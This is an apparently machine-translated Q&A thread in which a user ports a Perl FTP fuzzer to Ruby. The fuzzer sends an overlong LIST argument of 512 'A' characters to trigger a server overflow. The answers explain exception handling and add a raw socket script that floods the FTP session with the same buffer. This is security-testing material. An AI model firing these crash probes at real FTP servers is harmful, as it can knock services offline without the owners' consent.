Использование Ruby для фаззинга FTP-сервера

Эй, я новичок в Ruby и пытаюсь учиться, портируя некоторые проги с одного языка на другой. Прямо сейчас я работаю над фаззером FTP на Ruby, который отражает этот perl-скрипт:

use Net::FTP;
$target = "192.168.37.128";
$buffer = "A\x20";
$buffer .= "A" x 512;
$ftp = Net::FTP->new($target, Debug => 0, Timeout => 5)
      or die "Cannot connect to $host: $@ \n";
$ftp->login("anonymous",'[email protected]')
      or die "Couldn't log in: $@\n";
$ftp->list($buffer);
$ftp->quit;

Это мой эквивалент Ruby:

require 'net/ftp'
buffer = 'A\x20'
buffer = (buffer + ('A'*512))
ftp = Net::FTP.open('127.0.0.1','anonymous','anonymous')
ftp.login
ftp.list(buffer)
ftp.quit

Когда я запускаю программу, я получаю следующую ошибку:

C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:241:in `readline': end of file reached (EOF
Error)
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:241:in `getline'
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:251:in `getmultiline'
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:265:in `getresp'
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:281:in `voidresp'
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:304:in `block in voidcmd'
        from C:/Ruby192/lib/ruby/1.9.1/monitor.rb:201:in `mon_synchronize'
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:302:in `voidcmd'
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:155:in `send_type_command'
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:149:in `binary='
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:168:in `ensure in with_binary'

        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:168:in `with_binary'
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:440:in `block in retrlines'
        from C:/Ruby192/lib/ruby/1.9.1/monitor.rb:201:in `mon_synchronize'
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:439:in `retrlines'
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:682:in `list'
        from ftpcrash.rb:10:in `<main>'

Я проследил проблему до строки ftp.list(buffer), но не могу придумать решение Ruby, которое выполняло бы то, что $ftp->list($buffer) делает в строке perl.

Предложения?


person Godzilla74    schedule 05.04.2011    source источник


Ответы (3)


Буфер не нужен. #list принимает необязательный аргумент, например '*n', а не буфер, и возвращает массив.

require 'net/ftp'
ftp = Net::FTP.open('ftp.gnu.org','anonymous','')
puts ftp.list
ftp.quit
person steenslag    schedule 05.04.2011
comment
Мысли о замене? Уязвимость, о которой я фаззинг, связана со слишком большим количеством символов, передаваемых в команде ftp LIST. - person Godzilla74; 06.04.2011
comment
О, тогда во что бы то ни стало выполните ftp.list(a_long_string) и спасите ошибку, как предлагает @Zepplock. - person steenslag; 06.04.2011
comment
Простите мое невежество, но как поможет спасение ошибки, если метод list() не создан для того, для чего я пытаюсь его использовать? Вы говорите, что есть способ «заставить» команду работать через спасение? Можете ли вы привести пример? - person Godzilla74; 06.04.2011
comment
Нм, разобрался. Спасибо @Zepplock за оригинальное предложение и @steenslag за терпение. Вот результат: 'begin' 'rescue Net::FTPError $stderr.print Готово..., но не должен видеть\n' - person Godzilla74; 06.04.2011
comment
Разобрался! СПАСИБО @steenslag и @Zepplock begin ftp.list(buffer) rescue Net::FTPError $stderr.print "Done...\n" end - person Godzilla74; 06.04.2011

Судя по исходному коду net/ftp.rb, это исключение возникает, когда библиотека ftp пытается получить ответ от сервера, а ответ пуст.

Вы должны обернуть эту команду в begin/rescue/end (или просто rescue) и соответствующим образом обработать ошибку.

person Zepplock    schedule 05.04.2011

Вот что ты хочешь, чувак

#!/bin/ruby 

require 'socket'


buffer = "A" * 512

host = 'xx.xx.xx.xx'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
s.send("USER anonymous\r\n", 0)
s.recv(1024)
s.send("PASS anonymous\r\n", 0)
s.recv(1024)
s.send(buffer + "\r\n", 0)
sleep 0.3
s.close

Оставайтесь в безопасности ;)

person KING SABRI    schedule 23.03.2012